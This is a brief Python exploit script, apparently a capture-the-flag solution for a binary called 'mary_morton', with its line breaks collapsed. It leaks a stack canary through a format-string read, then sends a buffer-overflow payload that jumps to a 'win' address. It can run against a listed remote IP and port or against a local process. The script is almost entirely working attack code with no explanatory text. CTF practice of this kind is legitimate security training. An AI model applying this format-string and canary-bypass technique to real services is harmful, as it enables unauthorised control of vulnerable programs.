```pythonfrom pwn import *from sys import argv
if argv[1] == 'r':     r = remote('146.185.132.36', '19153')elif argv[1] == 'l':    r = remote('localhost', '6000')else:     r = process('./mary_morton')
win = p64(0x4008de)log.info("FSB")r.sendlineafter('3. Exit the battle \n', b'2')r.sendline('%23$p')pause(3)canary = r.recv()canary = int(re.search(b'0x[0-9a-f]{16}', canary).group(), 16)log.info("canary ==> {0:x}".format(canary))
log.info("BOF")r.sendline(b'1')payload = b"A" * 136payload += p64(canary)payload += b"W" * 8payload += win * 4
r.sendline(payload)print(r.recv())print(r.recv())```